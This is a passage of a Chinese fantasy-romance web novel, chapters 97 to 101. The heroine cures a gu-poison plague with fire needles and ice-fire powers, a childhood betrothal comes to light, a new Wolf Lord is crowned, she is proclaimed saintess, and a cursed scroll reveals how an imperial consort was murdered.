她感受到,无数细微的黑色蛊虫,似乎正附着在士兵的血管内壁和脏器上,疯狂吸食着他的精血,同时释放出致命的毒素。
这腐尸瘟蛊短短几日不见,似乎更加歹毒!
“取‘清瘟散’方剂药材!备烈酒,火盆,金针!”
林绾绾迅速下令,声音清冷而镇定。
“青蚨,记录!”
“病患甲,脉滑数沉涩,蛊毒入脏,尤重心肝!需先以火针截断蛊虫蔓延中枢,再以‘清瘟散’药浴拔毒,辅以冰火本源之力护持心脉,焚烧蛊虫!”
她的诊断又快又准,治疗方案清晰明确。
周围的医官精神一振,也立刻按照指示忙碌起来。
林绾绾不再迟疑。
她打开药箱,捻起一根最长的、针尖被烧得通红的金针,用‘火针截脉’之法,以火克阴邪。
咻!
通红的金针带着破邪的灼热气息,精准无比地刺入年轻士兵胸前膻中穴!
针入三分,一股精纯的圣火之力顺着针体涌入士兵体内,瞬间封锁住心脉通往全身的主脉络。
如同在泛滥的洪水面前筑起一道火墙。
那些正试图向心脉深处蔓延的蛊虫,如同被投入滚油的蚂蚁,发出细微的“滋滋”声,瞬间焦化死亡。
紧接着,林绾绾双手如穿花蝴蝶,又是八根金针带着或冰蓝或金红的微芒,闪电般刺入年轻士兵周身八处要穴。
针尾轻颤,形成一张无形的能量网,进一步压制蛊毒,护持生机。
“药浴准备!”
青蚨在一旁高声道。
几名药奴迅速抬来一个巨大的木桶,里面是滚烫的褐色汤药——
正是按照“清瘟散”方剂熬制的药汤。
浓烈的药味甚至暂时压过了腐臭。
林绾绾指挥着药奴小心地将年轻士兵放入滚烫的药浴中。
药力透过皮肤,刺激着那些残留在血管和脏器上的蛊虫。
“啊--!”
士兵发出痛苦的低吼,身体激烈挣扎。
皮肤下的黑色丝线疯狂蠕动,仿佛要破体而出。
“按住他!冰火护心!”林绾绾厉喝!
双手掌心分别凝聚起精纯的冰魄之力与圣火之力,隔着滚烫的药汤,缓缓输送到士兵剧烈起伏的胸口处。
冰魄之力化作坚韧的护甲,牢牢护住士兵脆弱的心脉,隔绝蛊虫最后的反扑。
圣火之力则精准地扑向每一股被药力逼出的黑色蛊毒,将其焚烧、净化!
细微的爆裂声和蛊虫被焚化的焦糊味不断从士兵体内传出。
士兵体表的紫黑色斑块以肉眼可见的速度变淡,消退。
溃烂流脓的伤口也停止了恶化。
一刻钟后。
士兵挣扎的力度越来越小,脸上的痛苦之色渐渐褪去,呼吸变得平稳悠长。
虽然看起来依旧十分虚弱,但那死气已然消散。
“蛊毒已清,后续按方服药,静养即可!”
林绾绾收回双手,迅速写下药房交给一旁的医官。
“圣女神术!”
“咱们这次真的可以根除着瘟疫了!”
医官和药奴们士气大振,立刻按照林绾绾的示范和方法,投入到紧张的救治中。
林绾绾没有丝毫的停歇,立刻转向下一个重症患者。
同样的诊断,同样的火针截脉,同样的药浴拔毒...
她的救治速度越来越快,体内那圆融一体的冰火同源之力,在不断的运用中,变得更加精纯自如。
时间在紧张的救治中飞速流逝。
从正午到黄昏,林绾绾如同不知疲倦的机器,在右营的重症区穿梭。
汗水浸透了她的额发,脸色因巨大的消耗而微微发白,但那双眼睛却始终明亮如星辰,散发着令人心安的强大力量。
萧景珩率领的狼山卫也取得了进展。
他们在谷内一处废弃的祭祀坑中,发现了大量的蛊虫培育罐和残留的邪术符文。
他们一把火将其焚毁,彻底断绝了瘟疫再爆发的源头。
赫连苍玄留下的死忠爪牙也被揪出几个,就地正法。
第97章 幼时婚约
萧景珩处理绾清剿事务后,悄然来到狼回谷右营外围。
他没有打扰林绾绾。
只是静静地站在一处阴影里,目光如同最忠诚的影子,紧紧追随着那道在死亡边缘起舞的白色身影。
看着她专注而坚毅的侧脸,看着她指尖流淌着拯救生命的力量,看着她因疲惫而微微颤抖却依旧挺直的背脊...
一股心疼和强烈的悸动在他胸膛中激荡。
当最后一名重症士兵体内的蛊毒被彻底拔除,气息平稳下来后,林绾绾紧绷的神经骤然松弛。
巨大的疲惫如同潮水般将她淹没。
林绾绾身体一晃,眼前阵阵发黑,差点软到在地。
“小心!”
一道玄色身影如同鬼魅般出现在她身侧,有力的手臂瞬间揽住了她纤细的腰肢,将她稳稳地扶住。
熟悉而清洌的冷香混合着淡淡的血腥味,瞬间包裹了她。
“我没事...”
林绾绾靠在萧景珩坚实温暖的胸膛上,声音带着浓浓的疲惫和依赖。
她挣扎着想站起来,却被萧景珩更紧地拥入怀中。
“别动。”
萧景珩的声音低沉,带着温柔和心疼。
他解下自己的披风,仔细地裹住林绾绾单薄的身体,为她隔绝凛冽的寒风。
宽厚温热的手掌自然地覆上她冰冷的手,一股精纯温和的冰火之力缓缓渡入,滋养着她的脉络。
这无声的守护和体贴,如同暖流,驱散了林绾绾所有的疲惫和寒冷。
林绾绾安静地靠在萧景珩的怀里,感受着他强有力的心跳和胸膛传来的温度。
听着谷中渐渐响起的、带着劫后余生的啜泣和低语,一种巨大的满足感悄然滋生。
“累坏了?”
萧景珩低头,下颌轻轻抵着林绾绾的发顶,声音带着一丝宠溺。
“嗯...”
林绾绾低低应了一声,像只慵懒的猫儿,在他怀里蹭了蹭,寻找着更舒适的位置。
这个依赖的小动作,让萧景珩的心软得一塌糊涂,环着她的手臂又紧了几分。
“圣女,阁主!”
青蚨激动的声音响起,打破了这短暂温存。
“狼主...狼主醒了!急召圣女殿下与阁主前往王帐!”
狼主醒了?
林绾绾和萧景珩对视一眼,都看到了对方眼中的凝重。
赫连灼的父亲,现在的北漠狼主赫连鹰!
在赫连苍玄叛乱前夕忽然陷入昏迷,除了他自己本身年岁已高,显然当时也是陷入了暗算。
他的醒来,或许能揭开更多关于当年圣公主流亡和王庭叛徒的真相!
两人不敢做丝毫怠慢,立刻动身。
王帐内,灯火通明,药味浓重。
巨大的狼皮王榻上,北漠狼主赫连鹰斜靠着引枕。
他年约六旬,面容刚毅如同刀削斧凿,此刻却满是大病未愈的苍白和虚弱。
一双琥珀色的眼眸与赫连灼如出一辙。
此刻,他虽然眼中布满血丝,但眼神依旧锐利如鹰。
他抬头,眼睛扫过走进来的林绾绾和萧景珩,最终落在林绾绾脸上。
眼神中带着一种极其复杂的审视和难以言喻的激动。
“父汗!”
赫连灼看着父亲苏醒过来,上前一步,声音里满是激动。
赫连鹰摆了摆手,目光依旧锁着林绾绾,声音嘶哑而沉重。
“你...就是云渊的女儿...绾绾?”
“是的,狼主!”
林绾绾微微躬身行礼,心中波澜起伏。
“像...真像...”
赫连鹰的眼神有些恍惚,仿佛透过她看到了故人。
“尤其是这双眼睛...和她当年一模一样...”
他的声音带着深沉的痛楚和追忆。
“当年...本王与云渊情同兄妹,在她远走大胤前,我们还有过约定...”
他顿了顿,眼光扫过赫连灼,又落回到林绾绾,声音里满是宿命般的沉重。
“若她以后有了孩子,是女儿就与灼儿结为夫妇,永固圣脉血统,共御外敌!此约金昙为证,天地为鉴!”
赫连鹰颤抖着手,从贴身衣物中取出一方折叠整齐的素帛。
素帛边缘虽已经被磨碎严重,但仍保存完好。
上面赫然有两枚鲜红的指印和一朵用朱砂描绘的金昙花!
婚约?!
林绾绾瞬间僵住,下意识看向赫连灼。
只见赫连灼琥珀色的眼眸深处掠过难以辨明的复杂光芒,随即恢复了惯常的深沉。显然他早就知道此事。
而身侧的萧景珩手臂猛地收紧,力道之大几乎让她窒息!
一股冰冷刺骨的戾气,混合着滔天的醋意与强烈的占有欲,从萧景珩周身爆发出来!
他那双看向赫连灼的黑眸,充满了毫不掩饰的敌意与警告。
王帐内的空气瞬间降至冰点!
赫连灼仿佛没有感受到那几乎要将他凌迟的目光,只是上前一步,将话题重新拉回正题。
“父汗,当年姑姑她究竟遇到什么事,才会离开金昙王庭?”
“云渊...是被逼走的!”
赫连鹰眼中爆发出刻骨的恨意和痛苦。
“是被赫连苍玄那个老匹夫!还有...那个藏在王庭深处,真正与大胤皇帝勾结的毒蛇逼走的!”
话还没说完,赫连鹰剧烈地咳嗽起来。
他咳得撕心裂肺,嘴角甚至溢出暗红的血丝。
赫连灼连忙上前为他抚背顺气。
赫连鹰喘息片刻,眼中恨意更浓。
“当年,赫连苍玄不知从何处得到了那卷‘九转同心蛊’的残篇邪法,竟与大胤皇帝开始暗中勾结!”
“萧胤需要金昙圣女的圣血和融合了圣血的至亲骨肉作为药引!而赫连苍玄,则觊觎萧胤承诺的长生秘法!二人狼狈为奸!”
他看向林绾绾,眼中满是痛惜。
“云渊察觉了赫连苍玄的阴谋,为了不让他们的阴谋和邪恶的蛊法得逞,她只能带着部分《天医策》残卷,在忠心护卫的拼死保护下,逃离了北漠。”
“她隐姓埋名,却未曾想到,阴差阳错间竟然流落到大胤...最终还是...”
巨大的悲痛和愤怒让林绾绾的身体微微颤抖。
萧景珩的手无声地覆上她冰冷的手背,传递着无声的支持和力量。
“那...那个藏在王庭深处的毒蛇...到底是谁?!”
赫连灼的声音带着滔天的杀意!
第98章 金昙王印
赫连鹰的眼神变得锐利和忌惮。
他喘息着,声音压得极低:
“那人身份极高,隐藏极深!与赫连苍玄一直是单线联系。”
“当年云渊逃离后,我也曾暗中追查,却遭到数次暗杀。线索...也被清理得一干二净!”
“直到这次昏迷前,我才在赫连苍玄的密室中,发现了一封他未来得及销毁的密信。”
“信上只有寥寥数字:金昙王印现,圣血归巢时。大胤贵人助,大业可期矣。”
金昙王印?大胤贵人?
帐内再次陷入一片死寂,疑惑的谜团笼罩在每个人的心上。
金昙王印,是北漠狼主世代相传、象征着最高王权的印玺。
唯有狼主及其指定的继承人才能持有。
而“大胤贵人”...
显然指的是能与赫连苍玄平起平坐、甚至地位更高的大胤合作者。
“金昙王印...”
赫连灼看向自己的父亲,又看向帐内两位面色各异的长老。
“父汗!难道您的王印...”
赫连鹰艰难地从怀中摸索出一枚用黑布包裹的物件,缓缓打开——
里面赫然是一枚通体用暗金色金属铸造、雕刻着仰天咆哮狼首的方形大印。
正是金昙王印!
“王印...一直在本王身边,从未离身。”
赫连鹰的声音带着一丝虚弱,却异常肯定。
那密信中所指的“金昙王印现”,难道是要伪造一枚?还是另有所指?
“还有一种可能!”
一直沉默的三长老,突然开口,声音里带着一丝不易察觉的颤抖。
他的目光扫过赫连鹰手中的金昙王印,最后目光落在萧景珩身上,仿佛下定了某种决心。
“狼主可还记得...”
三长老的声音带着追忆和深沉的痛楚。
“当年...先狼主最宠爱的幼女,也就是您的妹妹,明玉公主。她曾恳请先狼主,用圣湖中的冰魄源晶,由大祭司亲手雕刻了一对‘金昙同心佩’!”
“我还记得大祭司说过,那玉佩的形制是公主殿下亲自设计!其正面是盛放的金丝昙花,花蕊处镶嵌的就是冰魄源晶,而背面...镌刻着的则是金昙王印的图腾!”
赫连鹰闻言,眼神变得极其复杂,里面的痛苦、怀念与愤怒在疯狂交织。
他显然知道三长老要说什么。
那是北漠王庭极力掩盖,讳莫如深的一段秘辛!
“大胤的宸妃,你的生母,其实就是我的幼妹,北漠公主,赫连明玉!”
他的手指指向萧景珩,长长叹了一口气。
“这不可能!我娘可是地道的大胤子民,怎么可能是北漠公主!”
萧景珩似乎是听到了什么天大的笑话,极力否认。
林绾绾见状,忙拽住萧景珩的手,安抚他,“你别急!先听听狼主怎么说!”
赫连鹰似乎深深陷在了回忆里,支撑着身体的手臂都在微微颤抖。
幼妹的名字如同最锋利的钩子,勾起了他尘封的痛苦回忆。
“明玉...并非以北漠公主的身份和亲大胤!此事,是王庭绝密!仅有狼主,大祭司和三位长老寥寥数人知晓!”
他看向面露惊疑的三个小辈,继续说道。
“当年,北漠和大胤边境摩擦不断,关系紧张。而明玉少时任性,偷偷潜入大胤京都游历。”
“在一个画舫上,她偶遇了微服私访的萧胤,对彼时龙章凤姿、谈吐不凡的大胤皇帝一见倾心。”
“可那时,两国正值多事之秋。我们的父汗知晓后十分震怒,勒令明玉立刻返回。但是明玉当时已是情根深种,竟不惜以死相抵!”
“为成全女儿,也恐此事泄露引发两国更大争端,父汗最终还是妥协于明玉的痴心,却也定下了一条绝不可逾越的底线——”
“明玉必须彻底斩断与北漠王庭的所有联系,以假身份嫁入大胤!”
“于是...”赫连鹰的声音更加沉重。
“在绝对的保密下,由大祭司亲自操办,为明玉伪造了一个大胤没落书香门第‘苏氏’孤女的身份。”
“所有知晓公主真实身份的王庭护卫和侍女,皆被大祭司秘密处死。”
“就这样,明玉怀着对爱情最美好的憧憬,带着无尽的思念与对故土的愧疚,化名‘苏玉儿’,以那个精心编制的身份嫁入了大胤深宫,成为了后来的...宸妃娘娘!”
“明玉入宫后,深受萧胤宠爱。”
赫连鹰继续道,但眼中却毫无喜色。
“她虽谨守秘密,但思乡之情日切。”
“在诞下一位皇子之后,她用仅可以使用一次的密法传信,恳求父汗,用金昙圣物为她雕刻一对同心佩,以寄相思。”
“父汗感念女儿深情,又忧心其处境,最终同意!”
“按照明玉的要求,雕刻了那对‘金昙同心佩’。明玉说会将一枚贴身珍藏,另一枚献予深爱的丈夫,作为永结同心的信物。”
“这象征她虽身在大胤,心却永远属于北漠这片故土。也盼此佩能护佑两国和平永固,她能有一日光明正大地回到北漠!”
“可是她糊涂啊!”
想到这,赫连鹰发出一声悲愤的低吼,老泪纵横。
“她可知...这带着王印图腾的玉佩落在深宫那些豺狼眼里,便是通敌的铁证!是觊觎他国江山的野心的象征!更是...催命的符咒!”
巨大的悲痛让他剧烈咳嗽,鲜血染红了前襟。
“难道当时就没有人觉得不妥,去阻拦一下吗?”
林绾绾不解地问出了声。
“大祭司当时便觉得不妥,几度与父汗上书劝说。奈何父汗思女心切,心意已决!”
“玉佩制成后,由明玉最信任的嬷嬷秘密带回大胤。可不久之后,明玉就离奇暴毙宫中。金昙暗卫几次潜入宫中调查都一无所获。那一对‘金昙同心佩’也不知所踪...”
“母亲....”
萧景珩脸色铁青,拳头紧握,骨节发白!
形似王印的金昙同心佩...
宸妃的离奇暴毙...宫人的讳莫如深...
金昙花成为大胤宫廷的禁忌...
太后的深恶痛绝...
赫连苍玄密信中的“金昙王印现”...
所有的线索碎片,随着“金昙同心佩”的信息出现,狠狠串联起来!
宸妃之死绝对不是意外!
而金昙花成为禁忌,成为太后憎恨的根源...
或许所有的秘密就藏在玉佩象征的“情谊”背后!
一股足以颠覆一切的暗流,在每个人心头汹涌澎湃!
第99章 狼主加冕
狼主赫连鹰的苏醒,如同在暗流汹涌的北漠王庭投入了一颗巨石。
他召集众人聚集于王帐,虚弱却锐利的目光,扫过王帐内神色各异的众人。
那封从赫连苍玄密室搜出的密信,以及“金昙同心佩”秘闻,如同两柄淬毒的匕首,狠狠刺穿了王庭看似平静的表象。
赫连鹰嘶哑的声音在帐内回荡,带着一种深切的寒意。
“孤竟不知,王庭之内藏着如此毒蛇!不仅勾结大胤,竟还敢伪造圣物,作为通敌信物!”
王帐内众人形色各异。
为首的二长老面色沉稳,眼神坦荡。
三长老则微微垂首,额角隐有冷汗渗出。
“父汗息怒!”
赫连灼上前一步,带着掌控大局的冷静。
“赫连苍玄伏诛,其党羽已经清剿殆尽。当务之急,是稳定王庭,追查那枚‘金昙同心佩’的下落,揪出藏匿更深的大胤贵人和隐藏在我王庭的隐患!同时...”
他看向林绾绾,眼中闪过一丝复杂,最后化为坚定。
“鹰回谷瘟疫虽平,然圣女损耗过剧,亦需休整。”
“且王庭不可一日无主!儿臣恳请父汗...为儿臣行加冕之礼!执掌金昙王印!”
“唯有如此,方能整合王庭之力,彻查真相,以应大胤之变!”
加冕!
赫连灼的话,如同平地惊雷,瞬间将所有沉浸在阴霾中的目光拉回现实。
王庭内乱初平,外有大胤虎视眈眈,更有神秘内奸尚未被揪出...
此刻,的确需要一个强有力的新狼主来稳定局面,凝聚人心。
赫连鹰浑浊的眼中闪过一丝欣慰与决断。
他强撑着病体,缓缓坐直身体,声音带着不容置疑的威压:“灼儿所言极是!你没有让我失望!”
“本王遭奸人暗算,沉疴难起,确实无力执掌王庭!”
“孤宣布,即日起,传位于第七子赫连灼!”
“承金昙王印!继狼主之位!”
众人闻言,纷纷下跪。
赫连灼也单膝跪地,神情肃穆。
“取王印!金刀!”赫连鹰厉声道。
一名须发皆白、神情庄重的老侍官,双手捧着一个沉重的紫檀木托盘,缓步上前。
托盘之上,覆盖着象征王权的雪狼皮。
赫连鹰郑重地掀开狼皮——
下面赫然是枚通体暗金、狼首狰狞、散发着古老威严气息的金昙王印!
以及一柄通体乌黑、刀鞘镶嵌着幽蓝冰魄石的北漠金刀!
赫连鹰颤抖着伸出枯瘦的手,先拿起那柄沉甸甸的金刀,刀锋在帐内灯火下折射出幽冷的寒芒。
“金刀所向,王庭臣服!赫连灼,接刀!”
赫连鹰的声音带着一种传承的仪式感。
赫连灼双手高举,恭敬地接过那柄象征着杀伐与权力的金刀!
刀入手,沉重而冰冷,一股沉甸甸的责任感瞬间压上肩头。
接着,赫连鹰又拿起那枚更加沉重的金昙王印。
印玺在火光下流转着内敛的光泽,狼首的双目仿佛蕴含着洞穿世事的沧桑。
“王印在握,山河永固!赫连灼,接印!”
“自今日起,你便是北漠之主!是金昙王庭的第七代狼主!”
赫连鹰的声音带着最后的洪亮,将王印重重放入赫连灼高举的手中。
“儿臣,领命!”
赫连灼双手托举王印与金刀,声音铿锵有力,如同金铁交鸣。
他缓缓起身,高大的身躯在王帐灯火下投下威严的身影。
琥珀色的眼眸扫视全场,带着睥睨天下的王者之气!
“拜见狼主——!”
帐内所有王庭重臣、各部首领、侍卫,包括长老们同时躬身,齐声高呼。
声浪如同闷雷,震动穹顶。
赫连灼——
北漠新的狼主,正式登位!
林绾绾跟随众人一同行礼,心中却是百感交集。
赫连灼的登位,意味着北漠力量将重新凝聚。
这对追查大胤皇帝阴谋和复仇,无疑是有利的。
她下意识地看向矗立在暗处的萧景珩。
见他神色平静,目光深邃,脸上却看不出多余的情绪。
加冕仪式结束,众人散去。
身体虚弱的赫连鹰被侍从小心翼翼抬回寝殿休息。
赫连灼则留下林绾绾,萧景珩和几位长老,谴退了其他众人。
新狼主的目光如同鹰隼,落在长老们身上,带着审视和威压。
“二位长老,赫连苍玄叛乱虽平,然那‘金昙同心佩’与大胤贵人之谜未解,此乃王庭心腹大患!”
“二位侍奉王庭多年,对此玉佩...可还有更多线索?”
三长老闻言开口,声音沉稳:
“老臣当年曾随大祭司处理过一些与大胤往来的文书。在一份尘封的旧档中,似乎瞥见过那玉佩的零星描述。”
“除了之前说过的形制外,背面还刻有金昙王庭的古老祷文,意为光明永恒...但具体的...时隔太久,老臣也记不真切了。若大祭司还在世的话....兴许...”
“可惜,他在圣泉坐化后,他的遗物也跟随他的圣体,一起火化祭天了...”
祷文?光明永恒?
这似乎与那邪门的“九转同心蛊”毫无关联。
赫连灼眉头紧锁,这线索依旧模糊。
“狼主!”
一直沉默的林绾绾突然开口,声音清冷。
“或许...我们可以换个方向考虑。”
“既然,那玉佩形似王印,又被用作勾结信物。那么,既拥有仿制能力,且能接触到王印形制,甚至可能接触到宸妃旧物的人...细算下来范围就小了许多。”
“在这王庭之中,还有谁精于雕刻仿制之术?尤其是...冰魄源晶的加工?”
林绾绾的话如同拨云见日。
赫连灼眼中精光一闪!
雕刻仿制!冰魄源晶!
“来人!”赫连灼立刻下令。
“立刻彻查!近三十年,王庭所有曾参与过圣殿修缮,祭器制作,尤其是接触过冰魄石的工匠!”
“以及...所有曾侍奉过明玉公主,可能见过玉佩的旧人!”
“无论生死,给孤查个水落石出!”
“是!”门外侍卫领命而去。
“圣女果然心思缜密。”
赫连灼看向林绾绾,眼中带着赞赏。
“也是时候昭告你的圣女身份了!”
“三日后,我将举行大典,正式昭告北漠各部,确认你的圣女身份!”
第100章 圣女归位
王帐内。
赫连灼目光转向萧景珩,语气凝重。
“萧公子,鹰回谷一役,狼山卫在你的统领协助下表现出色。你助我北漠清剿余孽,稳定军心,这份恩情,我牢记在心。”
“可如今王庭初定,大胤皇帝狼子野心,他长生邪蛊计划还未成,绝不会善罢甘休。”
“我打算带着圣女重返大胤,以‘圣女归宗,王庭修好’之名,深入虎穴。借此追查玉佩下落,揭露皇帝阴谋...”
“萧公子,你觉得此举是否可行?”
赫连灼的意味不言而喻,无非是想借助萧景珩大胤太子的身份,为自己的大胤之行提供一层保护。
萧景珩黑眸微眯,迎上赫连灼审视的目光。
他明白赫连灼的算计,也清楚此行的凶险。
但为了绾绾,为了揭露母妃死去的真相,为了彻底斩断与那长生邪蛊的关联,更为了...
将那个躲在龙椅上的魔鬼拉下地狱!
“可!”
萧景珩的声音低沉而有力,带着千钧之力。
“我会安排血鸦阁接应,确保你们的安全。皇帝的真面目,也是时候让天下人都看清楚了!”
两人的目光在空中交汇,有审视,有算计,更有一种为了共同目标而暂时达成的默契。
“好!”赫连灼抚掌。
“待圣女身份昭告后,我们便启程南下!”
三日时光,在紧张的准备中飞逝。
狼山脚下,天地肃穆。
巨大的祭坛经过三日不休的修葺与装点,已焕然一新。
宛如一头蛰伏的远古巨兽,披上了神圣的华服。
祭台通体由灰白色巨石垒砌,每一块巨石都仿佛承载着北漠千年的风雪与传说。
坛基四周,雕刻着栩栩如生的群狼奔腾图,象征着王庭的勇武与不屈。
祭坛中央,一根需数人合抱的巨型图腾柱拔地而起,直刺苍穹。
柱身并非光滑,而是布满了古老的刻痕,描绘着金昙花从萌芽到盛放、再到凋零重生的循环,其间交织着冰晶与火焰的纹路。
在清晨的阳光下,冰晶纹路折射出清冷锐利的光芒,火焰纹路则隐隐透出内蕴的赤金光泽。
冰火交织,神秘而威严。
图腾柱顶端,一团圣火熊熊燃烧。
跳跃的火焰呈奇异的蓝金之色,散发出温暖而神圣的气息,驱散了北漠清晨的寒意,成为整个祭坛乃至整片天地的核心。
祭坛周围,是望不到边际的人潮,从狼山脚下一直蔓延到远方的地平线。
北漠各部首领,身着象征各自部族的华丽皮裘与兽骨饰品,神情肃穆地立于最前排;
王庭重臣们身着统一的墨色官袍,肃立其后;
再往后,是无数闻讯赶来的普通北漠子民。
他们脸上刻着风霜的痕迹,眼中却燃烧着纯粹狂热的信仰之光。
所有人都屏息凝神,目光聚焦在祭坛之上。
场内寂静无声。
只有猎猎作响的、绣着咆哮狼头与金丝昙花的巨大王旗,在寒风中舞动,发出低沉的呜咽。
“呜——嗡——!”
低沉雄浑的号角声撕裂了寂静。
环绕祭坛的十八支巨型牛角号同时吹响。
声音如同沉雷滚过大地,带着远古的呼唤,震得人心头发颤,血液沸腾。
紧接着,狼山深处,回应般传来此起彼伏、悠远苍凉的狼嚎!
号角与狼嚎交织,构成一曲震撼灵魂的北漠战歌,宣告着神圣时刻的来临。
赫连灼身着墨底金纹的狼主王袍,头戴镶嵌着冰魄源晶的狼首金冠,手持金刀,步履沉稳地登上祭坛最高处。
王者之气,睥睨四方。
“北漠的勇士们,金昙的子民们!”
赫连灼的声音,借助内力传遍四野。
“今日,本狼主于此,不仅宣告王权更迭,更要宣告大家,迎回我金昙王庭流落在外数十年的圣血血脉!”
“她,是圣公主赫连云渊之女!是圣湖冰火泉的选择!是《天医策》的执掌者!更是我北漠未来的守护神!”
“赫连绾绾,上前!”
所有人的目光瞬间聚焦!
祭坛下方,如今的林绾绾,冠上了金昙王庭的姓氏,缓步上前。
她身着一袭特制的圣女华服。
衣料并非寻常丝绸,而是北漠特有的“雪云纱”,洁白如新雪,轻盈如云蔼。
华服的领口、袖口,皆以银线绣满了精致繁复的暗金色昙花图腾。
花纹图腾在雪白的底色上若隐若现,如同星辰点缀夜空。
她的长发并未盘成繁复发髻,只是如瀑般流泻在肩背,仅以一枚由整块冰魄源晶精心雕刻而成的金昙花发簪松松挽住几缕。
她面容沉静,褪去了少女的青涩,沉淀出一种近乎神性的澄净与坚定,周身隐隐流淌着温润而强大的冰火同源气息。
在无数道或敬畏、或好奇、或狂热的目光注视下,她缓步踏上祭坛的阶梯,走向赫连灼。
萧景珩站在祭坛侧下方,如同沉默的守护者,默默地注视着祭坛上心爱的女人。
他看着林绾绾在万众瞩目中一步步登上那象征王庭的信仰之巅。
看着她圣洁而强大的身影,心中涌动着难以言喻的骄傲和占有欲。
他心中坚信,她会一直是他的绾绾,无论身份如何变幻!
林绾绾走到赫连灼身侧站定。
赫连灼举起金刀,刀锋指向苍穹,朗声道:
“以狼神之名,以金昙圣湖为证!”
“今日,本狼主赫连灼,正式宣告!赫连绾绾,为金昙王庭圣女!”
“地位尊崇,等同王储!见圣女,如见本狼主!”
“王庭各部,当竭力供奉,尊其谕令!”
“拜见圣女殿下--!”
山海呼啸的声浪瞬间爆发!
无数北漠子民激动地跪伏在地,向着祭坛上那圣洁的身影顶礼膜拜。
信仰的力量如同无形的洪流,汇聚在林绾绾身上。
她心口的火焰印记微微灼热,仿佛与这片大地、与圣湖、与万千子民的信仰产生了更深层次的共鸣。
仪式完成。
赫连灼转向林绾绾,目光深沉。
“圣女,从今往后,北漠就是你的根,是你的后盾!”
“此次回大胤,金昙王庭的荣辱皆系于你身!王庭的铁骑,随时为你而战!”
林绾绾迎着赫连灼的目光,重重点头,声音坚定:
“我必不负所托!”
第101章 画卷惊魂
王庭深处,狼主专属的书房内。
赫连灼,林绾绾,萧景珩三人正在密议南下细节,气氛凝重。
“血鸦阁的力量已经渗透大胤京城各处。主要官员府邸、禁军、乃至宫闱,皆有眼线。”
萧景珩铺开一张精细的大胤皇城舆图,指尖点向几处关键位置。
“入京后,绾绾将住在林府旧址改建成的‘圣女别苑’。此为明处!皇帝多疑,必然监视!”
“暗处!血鸦阁渊阁可为据点。”
“咱们首要目标,先查清那对‘金昙同心佩’下落。”
“此物既然我们猜测它是信物,又关系到我母妃死因,必定会被严密收藏。我觉得,最可能的掩藏之处...”
他的手指,点在舆图内,皇宫深处一个标记上——
慈宁宫秘库!
太后居所!
那憎恶金昙花至深的太后!
“太后...”林绾绾蹙眉。
“她对金昙花深恶痛绝,若玉佩真在宫中,她岂会容忍此物存在?”
“或许...正因为憎恶,才会亲自掌控。”
萧景珩眼中寒光一闪。
“我在想,或许正因为我母妃的死与她有关,她才会对金昙花如此深恶痛绝!这玉佩便是最大的秘密和...把柄!”
就在这时!
笃笃笃!
书房门被轻轻叩响。
赫连灼的亲卫统领在门外低声道:“狼主,老侍官乌恩有要事要禀报!是关于...赫连苍玄的遗物...”
“进来。”赫连灼立刻道。
书房门被推开,那位在加冕仪式上捧出王印的老侍官乌恩,神色凝重而激动地走了进来。
他手中捧着一个被油布包裹得严严实实的扁平物件。
“圣女,狼主,萧公子。”
乌恩恭敬行礼。
“老奴奉老狼主之命,彻底清理赫连苍玄的密室及所有私人物品。在他卧榻下方一块极其隐秘的夹层暗格中,发现了此物!”
他小心翼翼地剥开层层油布。
里面的东西显露出来——
是一幅保存得相当完好的羊皮古卷!
乌恩将羊皮卷在书案上缓缓展开。
卷首,用暗红色的、仿佛干涸血液般的颜料,绘制着一朵盛放的、妖异无比的金丝昙花。
昙花线条扭曲而充满邪性。
而在金丝昙花下方,几行同样暗红、字迹潦草扭曲的古老文字映入眼帘:
“承天启运,圣血归元。金昙王印,祸乱之源。大胤宸妃,殁于此物...”
三人的心瞬间提了起来,目光死死盯着卷轴!
乌恩深吸一口气,继续展开卷轴。
后面的内容,不再是文字,而是一幅幅笔触诡异,线条扭曲的图画。
第一幅:
一座华丽的宫殿内,一名身着异域华服,容貌绝美的女子,正对镜梳妆,手中拈着一朵盛放的金丝昙花,笑靥如花。
而镜中倒影,却是一个面目狰狞、手持毒瓶的鬼影。
第二幅:
金丝昙花被放置在香炉之中焚烧,袅袅青烟化作无数细小的黑色蛊虫,钻入熟睡中的宸妃的口鼻。
第三幅:
宸妃痛苦地蜷缩在地,七窍流血,皮肤上浮现出与鹰回谷瘟疫极其相似的紫黑色斑块!
她手中紧紧攥着半枚形似金昙王印的玉佩。
第四幅:
一个身着大胤宫装,面容模糊但气质威严的老妇人,神情怨毒地将宸妃手中那枚染血的玉佩夺走。
她身后的阴影里,隐约可见一个身着北漠服饰,身形佝偻的身影正在诡笑。
第五幅:
画面一转,指向大胤皇帝。
那半枚玉佩被放置在一处刻满诡异符文的祭坛中央。
祭坛周围,摆放着数个浸泡在血水中的不明物体。
祭坛上方,血气与玉佩散发的幽光交织,凝聚成一个模糊的、散发着不详气息的婴儿虚影。
画卷到此,戛然而止。
最后那婴儿虚影的周围,用更加暗红扭曲的字迹标注着:
九转同心...圣血骨胎...长生之始...
所有的线索,在这一刻,被这幅充满邪异与诅咒的画卷彻底贯通!
看来,这个金昙同心佩,不仅是象征,更是媒介!
宸妃之死,根本不是什么意外或疾病。
而是被以金昙花为媒介散播的恐怖蛊毒所害!
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下毒者指向了大胤太后!
而这黑影帮凶...难道就是赫连苍玄?
萧景珩的脸色阴沉得能滴出水来,额角青筋在苍白的皮肤下狰狞跳动!
他死死攥紧拳头,指尖深深陷入掌心。
他死死盯着画卷上那个模糊的老妇人的身影...
太后...
那个他从幼时就视为冰冷宫闱中的一丝稀薄温暖!
那个他从小敬畏,视为至亲的皇祖母!
竟然可能就是杀害他生母的凶手!
难道皇家真的没有亲情可言吗?
那所谓的圣血骨胎,与他体内诡异的、自小纠缠的玄冥寒毒和火焰印记...是否也是他们亲手...
他不敢再深想下去。
巨大的冲击和一种被至亲彻底背叛的冰冷,让他如坠冰窟!
而林绾绾仔细看着第五幅画卷。
当她看清那条血河中漂浮的东西时,胃里一阵翻江倒海,强烈的恶心感和愤怒几乎让她站立不住。
血河里的东西分明是一个个尚在**中的婴儿!
为了虚无缥缈的长生,他们竟然如此践踏人命!
害死宸妃还不够,还要用未成型的胎儿作为材料!
母亲赫连云渊的遭遇,林家满门的血仇,还有巫医族的灭顶之灾...
难道都是这疯狂计划的延续!
这哪里是追求长生?分明是踏着至亲骨血和无辜生命的残骸,攀登着由贪婪与疯狂构筑的炼狱阶梯!
而她的母亲,乃至每一个无辜的人...
皆是这阶梯上的一块砖石而已!
